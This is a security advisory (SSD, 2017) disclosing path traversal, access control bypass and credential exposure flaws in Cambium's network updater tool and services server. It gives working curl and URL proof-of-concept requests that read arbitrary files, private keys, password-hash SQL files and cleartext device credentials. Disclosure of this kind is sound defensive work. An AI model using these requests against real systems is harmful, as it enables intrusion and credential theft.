SSD Advisory – Cambium Multiple Vulnerabilities

blogs.securiteam.com/index.php/archives/3526

SSD / Maor Schwartz November 22, 2017

Vulnerabilities Summary
The following advisory describes three (3) vulnerabilities found in Cambium Network Updater Tool and Networks Services Server.

The Network Updater Tool is “a free-of-charge tool that applies packages to upgrade the device types that the release notes for the release that you are using list as supported. Because this tool is available, an operator does not need to visit each module in the network or even each AP where they would otherwise use the SM Autoupdate capability of the radios”

The Cambium Networks Services (CNS) Server is “a network management application provided by Cambium Networks to manage ePMP devices.”

The vulnerabilities found in Cambium products are:

- Cambium Network Updater Tool (CNUT) – Unauthenticated File Path Traversal
- Cambium Networks Services Server (CNSS) – Unauthenticated Access Control Bypass
- Cambium Networks Services Server (CNSS) – Capture credentials for Device Discovery

Credit
An independent security researcher, Karn Ganeshen, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
Cambium has released patches to address those vulnerabilities.

For more details: https://help.endian.com/hc/en-us/articles/115012996087 – Support Case 131840

Vulnerabilities details
Cambium Network Updater Tool Unauthenticated File Path Traversal

When Cambium Network Updater Tool is started, it runs a web server on HTTP(S) port 80/443. Cambium Network Updater Tool is a Java application. The web server does not perform strict input validation, and uses input data for filesystem operation.

Therefore, it is possible for an un-authenticated user to read arbitrary files off of the file system by issuing the following request:

```
1 curl http://IP/../../path/to/file
```

proof of Concept
The following request can be used to read the Windows win.ini file:

```
1 curl http://IP/../../windows/win.ini
```

The server will response with:

```
1  ; for 16-bit app support
2  [fonts]
3  [extensions]
4  [mci extensions]
5  [files]
6  [Mail]
7  MAPI=1
8  [MCI Extensions.BAK]
9  3g2=MPEGVideo
10 3gp=MPEGVideo
11 3gp2=MPEGVideo
12 3gpp=MPEGVideo
13 aac=MPEGVideo
14 adt=MPEGVideo
15 adts=MPEGVideo
16 m2t=MPEGVideo
17 m2ts=MPEGVideo
18 m2v=MPEGVideo
19 m4a=MPEGVideo
20 m4v=MPEGVideo
21 mod=MPEGVideo
22 mov=MPEGVideo
23 mp4=MPEGVideo
24 mp4v=MPEGVideo
25 mts=MPEGVideo
26 ts=MPEGVideo
27 tts=MPEGVideo
```

When submitting the crafted url via the browser, the forward slash (/) character needs to be encoded. The url will be: http://IP/..%2F..%2Fwindows/win.ini

Cambium Networks Services Server Unauthenticated Access Control Bypass

Cambium Networks Services Server does not implement strict access control. An unauthenticated, remote user can therefore, access the root-, sub-directories, and sensitive configuration files, directly from the server.

Proof of Concept
An unauthenticated attacker can access to the following folders:

Apache
http://IP/httpd.conf
http://IP/windows/apache2/conf/server.key
http://IP/windows/apache2/conf/server.pem
http://IP/windows/apache2/conf/httpd.conf

PHP
http://IP/stack/php/php.ini
http://IP/windows/php/php.ini

Postgresql
http://IP/stack/postgresql/data/pg_hba.conf
http://IP/stack/postgresql/data/postgresql.conf

Logs
http://IP/logs/

Access User Hashes
http://IP/scripts/cnss_test_users.sql
http://IP/scripts/cnss_seed_users.sql

These files contain login names and password hashes for the application users.

Cambium Networks Services Server (CNSS) – Capture credentials for Device Discovery

CNSS is used for discovering various other Cambium devices such as ePMP, and managing all deployed units centrally. In order to discover and access the devices, it relies upon SNMP (v2c) community strings and login credentials.

The CNSS application has 2 roles – administrators, and users. An 'admin' has full access to the application. A user in 'users' group has restricted access to functions in the application.

An admin user can access & make changes to default configuration for device discovery

The non-administrative account – 'user' – cannot access 'Discover' function configuration

However, it is possible for a 'user' to capture this configuration – default login credentials and SNMP strings for other devices – by accessing the following url:

```
1  http://ip/services/finder/admin/index.php
```

As seen above, SNMP strings & default admin login credentials are stored in clear-text